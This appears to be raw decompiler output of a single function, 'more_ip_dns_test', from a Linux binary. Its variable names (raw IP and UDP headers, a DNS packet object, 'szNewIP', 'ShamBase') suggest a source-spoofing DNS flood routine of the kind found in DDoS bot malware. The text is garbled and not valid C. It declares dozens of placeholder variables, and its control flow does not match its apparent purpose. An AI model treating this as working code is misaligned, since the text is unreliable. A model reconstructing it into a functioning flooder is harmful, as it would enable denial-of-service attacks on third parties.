int more_ip_dns_test(_Unknown_base* ThreadData)
{// addr = 0x0804CBCF
    int hSockfd;
    char[1023] packet;
    char[19] szNewIP;
    struct ip iphdr;
    char[1023] PackData;
    struct udphdr udphdr;
    struct sockaddr_in remoteAddr;
    int i;
    int ipflag;
    int ip_num;
    MOREDNSPACKET DnsObj;
    int nTime;
    socklen_t fromlen;
    int looptime;
    int aa;
    int rand_id;
    char[511] szName;
    int nDNSPack;
    char[511] fotmatDNSPacket;
    int dgsize;
    int ShamBase;
    int dwNewIP;
    unsigned int[3] ip;
    int matches;
    intOrPtr _v0;
    signed int _v12;
    _unknown_ _v16;
    _unknown_ _v20;
    _unknown_ _v24;
    char _v28;
    signed int _v32;
    _unknown_ _v36;
    _unknown_ _v40;
    _unknown_ _v44;
    signed int _v48;
    intOrPtr _v52;
    signed int _v56;
    _unknown_ _v60;
    signed int _v64;
    _unknown_ _v1088;
    _unknown_ _v1108;
    signed int _v1112;
    signed int _v1116;
    _unknown_ _v1118;
    _unknown_ _v1119;
    signed int _v1120;
    _unknown_ _v1122;
    signed int _v1124;
    _unknown_ _v1126;
    _unknown_ _v1127;
    signed int _v1128;
    char _v2152;
    _unknown_ _v2154;
    signed int _v2156;
    _unknown_ _v2158;
    signed int _v2160;
    _unknown_ _v2172;
    _unknown_ _v2174;
    _unknown_ _v2176;
    _unknown_ _v2180;
    _unknown_ _v2184;
    _unknown_ _v2188;
    intOrPtr _v3552;
    intOrPtr _v3556;
    signed int _v3560;
    signed int _v3564;
    char _v3576;
    _unknown_ _v3580;
    _unknown_ _v3584;
    _unknown_ _v3588;
    _unknown_ _v3592;
    _unknown_ _v3596;
    _unknown_ _v4108;
    _unknown_ _v4620;
    _unknown_ _v4624;
    _unknown_ _v4628;
    char* _v4632;
    signed int _v4636;
    intOrPtr _v4640;
    _unknown_ _v4652;
    _unknown_ _v4656;
    _unknown_ _v4660;
    _unknown_ _v4664;
    _unknown_ _v4668;
    _unknown_ _v4672;
    _unknown_ _v4684;
    _unknown_ _v4696;
    _unknown_ _v4700;
    _unknown_ _v4704;
    char _v4708;
    signed int _v4712;
    intOrPtr _v4724;
    char _v4740;
    char _v4756;
    _unknown_ r6;
    _unknown_ _t289;
    _unknown_ _t293;
    signed int _t295;
    _unknown_ _t297;
    _unknown_ _t298;
    _unknown_ _t299;
    _unknown_ _t300;
    intOrPtr _t303;
    _unknown_ _t311;
    _unknown_ _t316;
    _unknown_ _t323;
    _unknown_ _t328;
    _unknown_ _t331;
    _unknown_ _t336;
    _unknown_ _t337;
    _unknown_ _t339;
    _unknown_ _t340;
    _unknown_ _t347;
    _unknown_ _t350;
    _unknown_ _t359;
    _unknown_ _t363;
    _unknown_ _t367;
    _unknown_ _t372;
    _unknown_ _t376;
    _unknown_ _t381;
    _unknown_ _t385;
    _unknown_ _t387;
    _unknown_ _t401;
    _unknown_ _t407;
    _unknown_ _t409;
    _unknown_ _t418;
    _unknown_ _t422;
    _unknown_ _t428;
    _unknown_ _t440;
    _unknown_ _t442;
    _unknown_ _t454;
    _unknown_ _t466;
    _unknown_ _t468;
    _unknown_ _t470;
    _unknown_ _t471;
    _unknown_ _t472;
    _unknown_ _t473;
    intOrPtr _t474;
    _unknown_ _t475;
    _unknown_ _t478;
    _unknown_ _t481;
    _unknown_ _t487;
    _unknown_ _t496;
    _unknown_ _t506;
    _unknown_ _t507;
    intOrPtr _t509;
    _unknown_ _t510;
    _unknown_ _t511;

    _push(_t504);
    _push(_t454);
    __esp = __esp - 4704;
    _v1128 = 0;
    _v1124 = 0;
    _v1120 = 0;
    _v1116 = 0;
    _v1112 = 0;
    _v4632 =  &_v2152;
    _v4636 = 0;
    if(1024 >= 4) {
        _v4640 = 256;
        _t509 = _v4632;
        _t474 = _v4640;
        _push(_t474 << 2);
        _push(_v4636);
        _push(_t509);
        memset();
        __esp =  &(__esp[3]);
        _t504 = _t509 + _t474;
    }
    _v2160 = 0;
    _v2156 = 0;
    _v56 = 0;
    _v52 = 456;
    L0806F910( &_v3576, 1400);
    L0806F9E0(_t504, __esi,  &_v3576, ThreadData, 1400);
    _v56 = _v3560;
    _v48 = 0;
    _t295 = _v3564;
    _v48 = _t295;
    if(_v48 <= 0 || _v48 > 86400) {
        _v48 = 20;
    }
    _v4708 = 255;
    L08073680(_t454, __esp, 2, 3);
    _v64 = _t295;
    if(_v64 == 255) {
        goto L33;
    }
    if(_v3556 != _v3552 || _v3552 == 0) {
L33:
        L08052A50(_v64);
        _t298 = L08051050();
        L08051000(_t298);
         *__esp = 0;
        L08050FE0();
    }
    _push(_t510);
    __esp = __esp - 40;
    _v4740 = _v4708;
     *__esp = _v4712;
    _t303 = L0806E770(__esp, _t519);
    _v4724 = _t303;
    if(( *_v4712 & 255) != 0) {
        while(1) {
            __eax = _v12;
            __eax = _v12 - 1;
            __eax = _v12 - 1 + _v0;
            __eax =  *(_v12 - 1 + _v0) & 255;
            __eflags = __al;
            if(__al == 0) {
                break;
            }
            __eax = _v12;
            __eax = _v12 - 1;
            __eax = _v12 - 1 + _v0;
            _v4756 = _v28;
             *__esp = _v12 - 1 + _v0;
            __eax = L0806E360(__esp);
            __eflags = __eax;
            if(__eax == 0) {
                _v12 = _v12 - 1;
                continue;
            }
            __eax = _v12;
            __eax = _v12 - 1;
            _v32 = _v0 + _v12 - 1;
            return _v32;
        }
        _v32 = 0;
        return _v32;
    }
    _v32 = 0;
    return _v32;
L30:
    goto L33;
}